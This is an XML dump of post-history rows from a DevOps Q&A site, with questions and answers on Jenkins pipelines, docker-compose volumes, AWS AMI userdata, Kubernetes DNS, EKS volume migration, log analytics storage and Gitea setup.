  <row Id="33163" PostHistoryTypeId="2" PostId="10807" RevisionGUID="4e1177f0-ae73-4e7c-b4ec-52fa2b1620ff" CreationDate="2020-02-14T16:17:50.007" UserId="9952" Text="I'm new to Jenkins and I want to automatize my current workflow a little bit. Right now I push it to the raspberry. Then via SSH I pull the changes, run `docker-compose build` and `docker-compose up` afterwards. &#xD;&#xA;&#xD;&#xA;My jenkins file is: &#xD;&#xA;&#xD;&#xA;    pipeline{&#xD;&#xA;        agent any&#xD;&#xA;    &#xD;&#xA;        stages{&#xD;&#xA;            stage('build'){&#xD;&#xA;                steps{&#xD;&#xA;                    script{&#xD;&#xA;                        docker.withTool(&quot;default&quot;) {&#xD;&#xA;                            sh 'docker-compose build'&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;    &#xD;&#xA;                }&#xD;&#xA;    &#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            stage('deploy'){&#xD;&#xA;                steps{&#xD;&#xA;                    script{&#xD;&#xA;                        docker.withTool(&quot;default&quot;) {&#xD;&#xA;                            sh 'docker-compose up'&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;    &#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;And when clicking 'build now' I get the following console-output:&#xD;&#xA;&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] withEnv&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (build)&#xD;&#xA;    [Pipeline] script&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] tool&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // script&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (deploy)&#xD;&#xA;    Stage &quot;deploy&quot; skipped due to earlier failure(s)&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // withEnv&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    ERROR: No org.jenkinsci.plugins.docker.commons.tools.DockerTool named default found&#xD;&#xA;    Finished: FAILURE&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I also tried running it with docker.withTool(&quot;docker&quot;) but that gave me the same results.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33164" PostHistoryTypeId="1" PostId="10807" RevisionGUID="4e1177f0-ae73-4e7c-b4ec-52fa2b1620ff" CreationDate="2020-02-14T16:17:50.007" UserId="9952" Text="Jenkins file that uses docker-compose gives ambigous error" ContentLicense="CC BY-SA 4.0" />
  <row Id="33165" PostHistoryTypeId="3" PostId="10807" RevisionGUID="4e1177f0-ae73-4e7c-b4ec-52fa2b1620ff" CreationDate="2020-02-14T16:17:50.007" UserId="9952" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33166" PostHistoryTypeId="2" PostId="10808" RevisionGUID="891f050b-731c-4829-b58f-8173a305f41b" CreationDate="2020-02-14T17:22:29.757" UserId="9148" Text="You need to install the Docker Commons plugin? https://plugins.jenkins.io/docker-commons/" ContentLicense="CC BY-SA 4.0" />
  <row Id="33167" PostHistoryTypeId="5" PostId="10688" RevisionGUID="941db464-d48b-4b94-b40c-b42599cce52f" CreationDate="2020-02-14T19:57:55.483" UserId="12831" Comment="added 1314 characters in body" Text="## User Data Persistance&#xD;&#xA;&#xD;&#xA;If I create an image with Packer or other tool, I'll include normally a userdata initialization script that would allow connecting via WinRM. This is required as the default AMI settings wouldn't allow the tooling to connect. In this scenario Packer would create the instance from an AMI with my provided userdata. &#xD;&#xA;&#xD;&#xA;However, when I then take an AMI of this configured instance and try to use it as a new instance, this new image has it's own userdata. If I wanted to run the exact same command, I would need to create the userdata in this new instance. &#xD;&#xA;&#xD;&#xA;Userdata isn't persisted in your AMI, it's more an instance level configuration value. &#xD;&#xA;&#xD;&#xA;### Follow-Up Comments on This&#xD;&#xA;&#xD;&#xA;The goal should be to create your AMI with the tooling, for example git, and then your new instance should not even need to run that command in the first place as you've &quot;baked&quot; it into your &quot;golden ami&quot;. Consider this in your approach. Also consider decoupling any installation directly from userdata and use something like AWS Simple Systems Manager Command documents to run the installation. This would decouple your installation code from your infrastructure allowing you to apply automatically as well as on demand without having to repeat your work.&#xD;&#xA;&#xD;&#xA;## User Data Content&#xD;&#xA;The code example above has a typo in the closing tag for PowerShell. I'd try replacing this and see if that's the root issue. If there's further issues after fixing that, post a comment on this answer and I'd be glad to look further.&#xD;&#xA;&#xD;&#xA;Also as far as powershell syntax consider using join path for proper path parsing. &#xD;&#xA;&#xD;&#xA;For example `$exe = Join-Path $ENV:ProgramData 'git/git.exe`&#xD;&#xA;&#xD;&#xA;The. You can run &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&amp;$exe --config --global ....&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'd also recommend that you consider looking at Amazon systems manager documents. You can create a  document that initializes a setting such as get config. &#xD;&#xA;&#xD;&#xA;Then you create a AWS association to this document on a tag, at that point it will run automatically anytime a new instance is created without you having to continue to maintain it. It also allows you to update the document independently of the user data, and then ensure you can run it manually as needed as well. I'm a big fan of decoupling any type of configuration scripts from the userdata and using that as a last resort.&#xD;&#xA;&#xD;&#xA;One last item...&#xD;&#xA;&#xD;&#xA;    Remove-Item C:\c -Recurse -ErrorAction Ignore&#xD;&#xA;&#xD;&#xA;Highly recommend you revisit that. That's seems super easy to mess up and start deleting stuff you didn't mean to. I'd make sure you use a fully qualified path with `Join-Path` and also use the `-LiteralPath` instead of positional argument by default. If anyone created a folder c on c drive I'd reject that in a heartbeat in a code review." ContentLicense="CC BY-SA 4.0" />
  <row Id="33168" PostHistoryTypeId="5" PostId="10808" RevisionGUID="85b22ac8-2c2f-466a-aa45-01def12a10f3" CreationDate="2020-02-14T20:08:17.423" UserId="9148" Comment="Expanded answer" Text="You need to install the Docker Commons plugin? https://plugins.jenkins.io/docker-commons/&#xD;&#xA;&#xD;&#xA;Edit: According to this link for [I would like to use Docker CLI inside of a Pipeline job ][1]&#xD;&#xA;&#xD;&#xA;&gt; You need to make sure that “default” points to a docker tool inside of&#xD;&#xA;&gt; Manage Jenkins&gt; Configure System which will also run on the os of the&#xD;&#xA;&gt; slave.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://support.cloudbees.com/hc/en-us/articles/230922468-Pipeline-I-would-like-to-use-Docker-CLI-inside-of-a-Pipeline-job" ContentLicense="CC BY-SA 4.0" />
  <row Id="33172" PostHistoryTypeId="2" PostId="10810" RevisionGUID="a4ddb682-3838-409e-82ff-64c5b07c4512" CreationDate="2020-02-14T23:57:20.160" UserId="19693" Text="I want to force the developers to write unit tests for all new code they wrote. The code is written in python. I want to do it in the Jenkins pipeline. And here is a question. Is there any available Jenkins plugin that can do that? Or python library? I want to avoid sonar qube because I think, it's a little bit complex solution for the problem. I was thinking about a solution, that will detect changed files and check their code coverage percentage in generating a report." ContentLicense="CC BY-SA 4.0" />
  <row Id="33173" PostHistoryTypeId="1" PostId="10810" RevisionGUID="a4ddb682-3838-409e-82ff-64c5b07c4512" CreationDate="2020-02-14T23:57:20.160" UserId="19693" Text="How to check minimum code coverage in pull request changes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33174" PostHistoryTypeId="3" PostId="10810" RevisionGUID="a4ddb682-3838-409e-82ff-64c5b07c4512" CreationDate="2020-02-14T23:57:20.160" UserId="19693" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;cicd&gt;&lt;python&gt;&lt;code-coverage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33178" PostHistoryTypeId="2" PostId="10811" RevisionGUID="3877f2e2-d8b2-4b59-9487-84173a1f2c43" CreationDate="2020-02-15T06:57:02.667" UserId="19696" Text="I have a bit of hard time understanding the way `docker-compose` handles auto-managed volumes. Here is an example `docker-compose.yml`&#xD;&#xA;```lang-yml&#xD;&#xA;version: '3.7'&#xD;&#xA;services:&#xD;&#xA;  one:&#xD;&#xA;    image: alpine&#xD;&#xA;    command: sh -c 'echo one &gt;&gt; /data/db.txt &amp;&amp; cat /data/db.txt | wc -l'&#xD;&#xA;    volumes:&#xD;&#xA;      - /data&#xD;&#xA;```&#xD;&#xA;And here is what I get (`docker-compose` logs stripped out)&#xD;&#xA;```lang-bash&#xD;&#xA;$ docker-compose up&#xD;&#xA;1 # as expected&#xD;&#xA;&#xD;&#xA;$ docker-compose start&#xD;&#xA;$ docker-compose up&#xD;&#xA;3 # as expected&#xD;&#xA;&#xD;&#xA;$ docker-compose run one&#xD;&#xA;1 # why ? I expected 4&#xD;&#xA;```&#xD;&#xA;So it seems the volume is not shared between containers of the same service (in this example, the service `one`). Actually a new volume seems to be created every time `run` is used&#xD;&#xA;```lang-bash&#xD;&#xA;test $(docker volume ls | wc -l) -eq 0 # ensure clean env&#xD;&#xA;&#xD;&#xA;repeat 10 docker-compose up&#xD;&#xA;test $(docker volume ls | wc -l) -eq 1 # works&#xD;&#xA;&#xD;&#xA;docker-compose down &amp;&amp; docker volume prune -f # cleanup&#xD;&#xA;&#xD;&#xA;repeat 10 docker-compose run one&#xD;&#xA;test $(docker volume ls | wc -l) -eq 1 # fails, result is 10 instead&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;[The `docker-compose` documentation](https://docs.docker.com/compose/compose-file/#short-syntax-3) does not really help, the only explanation seems to be&#xD;&#xA;&gt; Just specify a path and let the Engine create a volume&#xD;&#xA;&gt; ```lang-yml&#xD;&#xA;&gt; volumes:&#xD;&#xA;&gt;   - /var/lib/mysql&#xD;&#xA;&gt; ```&#xD;&#xA;&#xD;&#xA;I do not encounter this issue when using named volumes (_e.g._ `data:/data`). So **why is a new volume created for new containers of the same service ?** And what is the point of such behavior to be the default ?&#xD;&#xA;&#xD;&#xA;_N.B. I know I should use explicitly defined volumes instead, but I want to understand the default behavior, and why it is this way_&#xD;&#xA;&#xD;&#xA;&gt;! `docker` and `docker-compose` version info https://pastebin.com/8TuFCg2i" ContentLicense="CC BY-SA 4.0" />
  <row Id="33179" PostHistoryTypeId="1" PostId="10811" RevisionGUID="3877f2e2-d8b2-4b59-9487-84173a1f2c43" CreationDate="2020-02-15T06:57:02.667" UserId="19696" Text="Auto-managed docker-compose volume not shared among containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="33180" PostHistoryTypeId="3" PostId="10811" RevisionGUID="3877f2e2-d8b2-4b59-9487-84173a1f2c43" CreationDate="2020-02-15T06:57:02.667" UserId="19696" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;containers&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33181" PostHistoryTypeId="2" PostId="10812" RevisionGUID="fa1b4800-03f0-41d0-939d-a7f07bf0501f" CreationDate="2020-02-15T07:01:08.030" UserId="19696" Text="Many Python packages exist for that purpose, one of them is the popular [coverage](https://pypi.org/project/coverage/) package." ContentLicense="CC BY-SA 4.0" />
  <row Id="33182" PostHistoryTypeId="2" PostId="10813" RevisionGUID="8ddacc1e-ecbd-4a48-ad26-6eaa4f5795bc" CreationDate="2020-02-15T07:11:36.933" UserId="19696" Text="The “easiest” approaches to deploying such app is probably using a [Platform as a Service](https://en.wikipedia.org/wiki/Platform_as_a_service) (_PaaS_). Here are some of them to get you started, pick any, really:&#xD;&#xA;&#xD;&#xA;- Python Anywhere (https://www.pythonanywhere.com/), focused on Python apps (hence Django as well)&#xD;&#xA;- Heroku (https://heroku.com/)&#xD;&#xA;- Clever-Cloud (https://www.clever-cloud.com/)&#xD;&#xA;- Google App Engine (https://cloud.google.com/appengine)&#xD;&#xA;- AWS ElasticBeanstalk (https://aws.amazon.com/fr/elasticbeanstalk/)&#xD;&#xA;- Azure AppServices (https://azure.microsoft.com/services/app-service/)&#xD;&#xA;- RedHat OpenShift (https://www.openshift.com/), open-source, available self-hosted or as a service&#xD;&#xA;&#xD;&#xA;To me the first three are the easiest, but it all eventually boils down to personal preference." ContentLicense="CC BY-SA 4.0" />
  <row Id="33183" PostHistoryTypeId="2" PostId="10814" RevisionGUID="10fa161a-b0a6-4080-bd62-ac8171222277" CreationDate="2020-02-15T15:21:46.863" UserId="19699" Text="We have a parallel Jenkins pipeline script which deploy and run three kind of tests in parallel. We have to notify the status of each stage to GitHub pull request. Can anyone help me to get this?&#xD;&#xA;&#xD;&#xA;def jobs = [&#xD;&#xA;    [&#xD;&#xA;        &quot;name&quot; : &quot;LegacyUnitTests&quot;,&#xD;&#xA;        &quot;runFolder&quot; : &quot;recipes&quot;,&#xD;&#xA;        &quot;run&quot;   : { -&gt; sh &quot;docker-compose -f docker-compose/docker-compose-maven.yml -f docker-compose/docker-compose.yml run maven-unit-test&quot; },&#xD;&#xA;        &quot;report&quot;: { -&gt; junit testResults: &quot;docker-compose/volmnt/reports/*.xml&quot; },&#xD;&#xA;    ],&#xD;&#xA;    [&#xD;&#xA;        &quot;name&quot; : &quot;AutomationTests&quot;,&#xD;&#xA;        &quot;runFolder&quot; : &quot;automation&quot;,&#xD;&#xA;        &quot;run&quot;   : { -&gt; sh &quot;../run_automation_tests.sh&quot; },&#xD;&#xA;        &quot;report&quot;: { -&gt;&#xD;&#xA;            junit testResults: &quot;reports/junit/*.xml&quot;&#xD;&#xA;            allure([&#xD;&#xA;                includeProperties: false,&#xD;&#xA;                jdk: '',&#xD;&#xA;                properties: [],&#xD;&#xA;                reportBuildPolicy: 'ALWAYS',&#xD;&#xA;                results: [[path: '/reports/allure']]&#xD;&#xA;            ])&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;]&#xD;&#xA;&#xD;&#xA;def parallelStagesMap = jobs.collectEntries {&#xD;&#xA;    [&quot;${it.name}&quot; : generateStage(it)]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;def generateStage(job) {&#xD;&#xA;    return {&#xD;&#xA;        stage(job.name) {&#xD;&#xA;            dir(job.runFolder) {&#xD;&#xA;                try {&#xD;&#xA;                    job.run.call()&#xD;&#xA;                    setSuccess(this, job.name)&#xD;&#xA;                }&#xD;&#xA;                catch (err) {&#xD;&#xA;                    setFailed(this, job.name)&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;       }&#xD;&#xA;   }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;pipeline {&#xD;&#xA;    agent {&#xD;&#xA;        node {&#xD;&#xA;            label 'pr-slave-test'&#xD;&#xA;            customWorkspace &quot;/var/lib/jenkins/workspace/${JOB_NAME}_${BUILD_NUMBER}&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    post {&#xD;&#xA;        always {&#xD;&#xA;            //Reports&#xD;&#xA;            script {&#xD;&#xA;                jobs.each {&#xD;&#xA;                    j -&gt; j.report.call()&#xD;&#xA;                }&#xD;&#xA;            }//Cleanup&#xD;&#xA;            cleanWs()&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    stages {&#xD;&#xA;        stage('Pre-Build') {&#xD;&#xA;            steps {&#xD;&#xA;                 script {&#xD;&#xA;                    //set status as pending&#xD;&#xA;                    jobs.each {&#xD;&#xA;                        j -&gt; setPending(this, j.name)&#xD;&#xA;                    }&#xD;&#xA;                    //checkout all repo   &#xD;&#xA;                 }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('Build') {&#xD;&#xA;            steps {&#xD;&#xA;                dir () {&#xD;&#xA;                    sh &quot;echo \&quot;Building\&quot;&quot;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('CI') {&#xD;&#xA;            steps {&#xD;&#xA;                script {&#xD;&#xA;                    parallel parallelStagesMap&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;I want to notify GitHub pr for each stage automation and legacy unit test status as pass fail as a GitHub check status" ContentLicense="CC BY-SA 4.0" />
  <row Id="33184" PostHistoryTypeId="1" PostId="10814" RevisionGUID="10fa161a-b0a6-4080-bd62-ac8171222277" CreationDate="2020-02-15T15:21:46.863" UserId="19699" Text="How do i notify GitHub pull request for each stage of a parallel Jenkins pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33185" PostHistoryTypeId="3" PostId="10814" RevisionGUID="10fa161a-b0a6-4080-bd62-ac8171222277" CreationDate="2020-02-15T15:21:46.863" UserId="19699" Text="&lt;jenkins-pipeline&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33186" PostHistoryTypeId="2" PostId="10815" RevisionGUID="dfe1124a-251d-4416-a2c5-ae1191f3545b" CreationDate="2020-02-15T16:22:11.437" UserId="19693" Text="I found a solution to my problem. There is a library ```diff-cover``` which does exactly what i need. Here is a link -&gt; https://diff-cover.readthedocs.io/en/latest/README.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="33187" PostHistoryTypeId="50" PostId="9200" RevisionGUID="dd4f3200-611d-4a69-838b-e06c50ccd5e4" CreationDate="2020-02-15T17:03:20.403" UserId="-1" />
  <row Id="33188" PostHistoryTypeId="5" PostId="10776" RevisionGUID="b61e88f2-f4b3-4ddd-bbc8-9cff4a4e1d79" CreationDate="2020-02-15T17:10:35.643" UserId="19638" Comment="Fixed typos" Text="In Kubernetes, if I run a Service *Foo* on every Node, and also Service *Bar* on every Node, i.e. with `DaemonSets`. If a Pod from Service *Foo* needs to make a request to Service *Bar*, does Kubernetes networking magic optimise things so communication will be done within the same Node, i.e. without a external network call? Or will a random Pod *Bar* be picked meaning usually *Bar* will be on a different Node, so there will be a network hop?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Context to question*: I'm thinking to run `CoreDNS` as a `Daemonset`, because with the *cache* plugin, I'm hoping most DNS queries will not need to use the network as there will always be a CoreDNS Pod co-located within the same Node and most requests will be cached. Currently we only run 3 CoreDNS pods and we have 12 Nodes and we see some DNS failures at times of network traffic surges - particularly during a deployment when lot of logging is done, which have to be shipped across the network to ElasticSearch.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;In case specifics matter:&#xD;&#xA;&#xD;&#xA;* The CoreDNS service runs as `clusterIP: 172.20.0.10`&#xD;&#xA;* The services that use CoreDNS run as `type: NodePort`&#xD;&#xA;* The Kubernetes cluster is AWS EKS, v1.14.9. Networking is done with the AWS VPC CNI." ContentLicense="CC BY-SA 4.0" />
  <row Id="33189" PostHistoryTypeId="5" PostId="10796" RevisionGUID="068710cd-6f16-42b6-9510-592d09cb00b9" CreationDate="2020-02-15T17:14:28.813" UserId="19638" Comment="added 103 characters in body" Text="No, Kubernetes will load-balance requests to a `ClusterIP` across all Pods with matching labels (and passing readiness checks). It won't keep traffic within the same Node.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Q: So how does the NodeLocal DNS Cache achieve to keep DNS requests local to the Node?&#xD;&#xA;&#xD;&#xA;A: When using the NodeLocal DNS Cache, it is necessary to pass a extra arg to the Kubelet of each Node (e.g. `--kubelet-extra-args &quot;--cluster-dns=169.254.20.10 ...&quot;`). This changes the `resolv.conf` of every container in every Pod to use DNS resolver on the Node, instead of a `clusterIP`. The NodeLocal Cache runs on every Node (as a DaemonSet) and uses a arg (e.g. `&quot;-localip&quot;, &quot;169.254.20.10&quot;`) to run on the specific IP set in the `resolv.conf` of all Pods. The NodeLocal DNS Cache Pod also needs to be configured with `hostNetwork: true`." ContentLicense="CC BY-SA 4.0" />
  <row Id="33193" PostHistoryTypeId="2" PostId="10817" RevisionGUID="96d4d3e7-d04b-4ba0-b9b4-d71691c33444" CreationDate="2020-02-15T23:41:00.927" UserId="6410" Text="AWS Datasync service will be a great way to sync S3, EFS or FSx data from AWS to another location. You can deploy the agent on a VM in Azure or GCP and then use their storage solution to receive the data from AWS. Obviously you will need to look at charges for outbound data transfer but if you have a strong business case for doing this then the costs should not be a problem." ContentLicense="CC BY-SA 4.0" />
  <row Id="33194" PostHistoryTypeId="2" PostId="10818" RevisionGUID="89da5b3e-1c61-4b97-ab7c-f17fd4a3b1e3" CreationDate="2020-02-16T02:10:58.490" UserId="16059" Text="We are migrating multiple EKS kubernetes clusters to new AWS accounts, and each of them has AWS EBS persistent volumes encrypted with the default account key.&#xD;&#xA;&#xD;&#xA;Within an account we were planning on using Velero (which worked well).  Across accounts, EBS volume snapshots will not port easily (without manual effort to port/update snapshot IDs/etc).  Encryption seems to make this harder to solve as well (with the default account key).&#xD;&#xA;&#xD;&#xA;What is the most automated / off the shelf way of achieving this cluster migration without losing or manually moving the EBS volumes? (If any way exists).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33195" PostHistoryTypeId="1" PostId="10818" RevisionGUID="89da5b3e-1c61-4b97-ab7c-f17fd4a3b1e3" CreationDate="2020-02-16T02:10:58.490" UserId="16059" Text="Backup kubernetes cluster + EBS PVs / restore to new account?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33196" PostHistoryTypeId="3" PostId="10818" RevisionGUID="89da5b3e-1c61-4b97-ab7c-f17fd4a3b1e3" CreationDate="2020-02-16T02:10:58.490" UserId="16059" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33198" PostHistoryTypeId="5" PostId="10814" RevisionGUID="1a85ea66-170e-4cdf-8943-93a698b1f0d4" CreationDate="2020-02-16T08:55:07.363" UserId="40" Comment="fix formatting" Text="We have a parallel Jenkins pipeline script which deploy and run three kind of tests in parallel. We have to notify the status of each stage to GitHub pull request. Can anyone help me to get this?&#xD;&#xA;&#xD;&#xA;    def jobs = [&#xD;&#xA;        [&#xD;&#xA;            &quot;name&quot; : &quot;LegacyUnitTests&quot;,&#xD;&#xA;            &quot;runFolder&quot; : &quot;recipes&quot;,&#xD;&#xA;            &quot;run&quot;   : { -&gt; sh &quot;docker-compose -f docker-compose/docker-compose-maven.yml -f docker-compose/docker-compose.yml run maven-unit-test&quot; },&#xD;&#xA;            &quot;report&quot;: { -&gt; junit testResults: &quot;docker-compose/volmnt/reports/*.xml&quot; },&#xD;&#xA;        ],&#xD;&#xA;        [&#xD;&#xA;            &quot;name&quot; : &quot;AutomationTests&quot;,&#xD;&#xA;            &quot;runFolder&quot; : &quot;automation&quot;,&#xD;&#xA;            &quot;run&quot;   : { -&gt; sh &quot;../run_automation_tests.sh&quot; },&#xD;&#xA;            &quot;report&quot;: { -&gt;&#xD;&#xA;                junit testResults: &quot;reports/junit/*.xml&quot;&#xD;&#xA;                allure([&#xD;&#xA;                    includeProperties: false,&#xD;&#xA;                    jdk: '',&#xD;&#xA;                    properties: [],&#xD;&#xA;                    reportBuildPolicy: 'ALWAYS',&#xD;&#xA;                    results: [[path: '/reports/allure']]&#xD;&#xA;                ])&#xD;&#xA;            }&#xD;&#xA;        ]&#xD;&#xA;    ]&#xD;&#xA;    &#xD;&#xA;    def parallelStagesMap = jobs.collectEntries {&#xD;&#xA;        [&quot;${it.name}&quot; : generateStage(it)]&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    def generateStage(job) {&#xD;&#xA;        return {&#xD;&#xA;            stage(job.name) {&#xD;&#xA;                dir(job.runFolder) {&#xD;&#xA;                    try {&#xD;&#xA;                        job.run.call()&#xD;&#xA;                        setSuccess(this, job.name)&#xD;&#xA;                    }&#xD;&#xA;                    catch (err) {&#xD;&#xA;                        setFailed(this, job.name)&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;           }&#xD;&#xA;       }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            node {&#xD;&#xA;                label 'pr-slave-test'&#xD;&#xA;                customWorkspace &quot;/var/lib/jenkins/workspace/${JOB_NAME}_${BUILD_NUMBER}&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        post {&#xD;&#xA;            always {&#xD;&#xA;                //Reports&#xD;&#xA;                script {&#xD;&#xA;                    jobs.each {&#xD;&#xA;                        j -&gt; j.report.call()&#xD;&#xA;                    }&#xD;&#xA;                }//Cleanup&#xD;&#xA;                cleanWs()&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage('Pre-Build') {&#xD;&#xA;                steps {&#xD;&#xA;                     script {&#xD;&#xA;                        //set status as pending&#xD;&#xA;                        jobs.each {&#xD;&#xA;                            j -&gt; setPending(this, j.name)&#xD;&#xA;                        }&#xD;&#xA;                        //checkout all repo   &#xD;&#xA;                     }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('Build') {&#xD;&#xA;                steps {&#xD;&#xA;                    dir () {&#xD;&#xA;                        sh &quot;echo \&quot;Building\&quot;&quot;&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('CI') {&#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;                        parallel parallelStagesMap&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I want to notify GitHub pr for each stage automation and legacy unit test status as pass fail as a GitHub check status" ContentLicense="CC BY-SA 4.0" />
  <row Id="33199" PostHistoryTypeId="2" PostId="10819" RevisionGUID="2f00f717-6a69-4a1e-a89c-67e6945555f5" CreationDate="2020-02-16T12:44:33.593" UserId="18007" Text="I want to know how can I modify the below setting from Jenkins server and not UI:&#xD;&#xA;&#xD;&#xA;http://XXXXX:YYYYY/configureSecurity/&#xD;&#xA;&#xD;&#xA;[![cache][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/sD9hm.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33200" PostHistoryTypeId="1" PostId="10819" RevisionGUID="2f00f717-6a69-4a1e-a89c-67e6945555f5" CreationDate="2020-02-16T12:44:33.593" UserId="18007" Text="Which Jenkins file is responsible for Enable cache setting" ContentLicense="CC BY-SA 4.0" />
  <row Id="33201" PostHistoryTypeId="3" PostId="10819" RevisionGUID="2f00f717-6a69-4a1e-a89c-67e6945555f5" CreationDate="2020-02-16T12:44:33.593" UserId="18007" Text="&lt;jenkins&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33202" PostHistoryTypeId="2" PostId="10820" RevisionGUID="d87742a4-741b-46a5-a0f2-a7640a2a7d28" CreationDate="2020-02-16T12:47:08.480" UserId="19703" Text="We have different applications that generate logs intensively, We do a lot of analytics, visualizations, monitoring on these logs.&#xD;&#xA;&#xD;&#xA;Currently, we are using azure app insights to do the visualization but it's not enough for the advanced visualization we need, so we decided to move the data to another database that it's suitable for analyzing the data and be able to connect with tableau.&#xD;&#xA;&#xD;&#xA;Initially, we are exploring elasticsearch but there is no straight forward connector to tableau so we need to build our connector and also I found some more options like ClickHouse, PrestoDB, InfluxDB, Apache HBase and Tarantool&#xD;&#xA;&#xD;&#xA;So my question is, what is the best practice a storage system for logs data which hot active, continuous analysis, ability to monitor and could integrate with tableau?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33203" PostHistoryTypeId="1" PostId="10820" RevisionGUID="d87742a4-741b-46a5-a0f2-a7640a2a7d28" CreationDate="2020-02-16T12:47:08.480" UserId="19703" Text="Store and analyize logs data from diffenrent application" ContentLicense="CC BY-SA 4.0" />
  <row Id="33204" PostHistoryTypeId="3" PostId="10820" RevisionGUID="d87742a4-741b-46a5-a0f2-a7640a2a7d28" CreationDate="2020-02-16T12:47:08.480" UserId="19703" Text="&lt;azure&gt;&lt;elastic&gt;&lt;storage&gt;&lt;logstash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33205" PostHistoryTypeId="2" PostId="10821" RevisionGUID="36bb6fea-7f1e-4af5-9701-bed4e9120163" CreationDate="2020-02-16T14:05:13.603" UserId="6410" Text="Can you not use Kibana with Elasticsearch or does that not give you the 'advanced' features you need?&#xD;&#xA;&#xD;&#xA;Have you looked at this connector for ES and Tableau? https://www.dremio.com/tutorials/unlocking-tableau-on-elasticsearch/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33206" PostHistoryTypeId="2" PostId="10822" RevisionGUID="ce21af30-fbca-4e17-99c3-6d5e2c170c5a" CreationDate="2020-02-16T14:12:26.000" UserId="6410" Text="Looks like you needs to install it another way. The errors message does give you a hint &#xD;&#xA;&#xD;&#xA;&gt; and setup Gitea under another user&#xD;&#xA;&#xD;&#xA; The docs say &#xD;&#xA;&#xD;&#xA;&gt; Gitea should be run with a dedicated non-root system account on&#xD;&#xA;&gt; UNIX-type systems. Note: Gitea manages the ~/.ssh/authorized_keys&#xD;&#xA;&gt; file. Running Gitea as a regular user could break that user’s ability&#xD;&#xA;&gt; to log in.&#xD;&#xA;&#xD;&#xA;Check here under the system requirements https://docs.gitea.io/en-us/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
